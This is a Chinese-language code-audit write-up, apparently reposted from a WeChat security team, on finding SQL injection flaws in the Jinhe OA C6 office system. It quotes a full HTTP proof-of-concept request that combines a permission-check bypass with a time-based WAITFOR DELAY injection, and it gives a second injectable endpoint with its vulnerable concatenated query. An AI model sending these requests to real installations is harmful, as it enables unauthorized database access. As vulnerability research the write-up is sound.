金和OA C6系统是一款功能强大、应用广泛的协同管理平台。主要是由CSharp开发,打包成dll文件。在审计源码时候要使用dnspy之类的工具反编译源码进行审计。
贴一张我之前的CNVD代码审计提交成果
/c6/Jhsoft.Web.login/PassWordSlide.aspx
文章 - .NET 某和OA办公系统全局绕过漏洞分析 - 先知社区 https://xz.aliyun.com/news/13954
JHSoft.Web.IncentivePlan.dll文件中的IncentivePlanFulfill方法如下
其中IncentiveID一路追踪,最后直接拼接到了SQL语句中执行,造成SQL注入漏洞,很简单对吧,金和OA大大小小的SQL注入都差不多
知道使用/能绕过权限验证,可以构造如下的POC
GET/C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1HTTP/1.1
Host: your-ip
User-Agent: User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
验证一下延时注入了5秒
当然金和OA中也有不依赖逻辑漏洞的名副其实的漏洞
路径如
/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo
HomeService为Webservice文件
jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo方法中,GetQuickUserInfo查询userID
来到抽象类ExecProcReDataTable继续追踪
进入quickUserInfo判断条件
由于quickUserInfo数组并不存在PhotoURL参数,text为空,进入判断MapAndFindFilebyRelativeFilePath方法
判断为false,text设为空,释放类quickUserInfo
text为空进入条件string userSex = GetUserSex(userID);
此处就可以看到userId拼接进了SQL语句中进行处理,造成了SQL注入
string queryString = "select DossValue from dossiervalue a left join users b on a.RegCode=b.userid where a.DossierFieldID='3' and b.userid='" + userId + "'";
最后poc也能知道了:
http://XXXX/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=payload
原文始发于微信公众号(Code4th安全团队):手把手教你审计金和OA系统漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论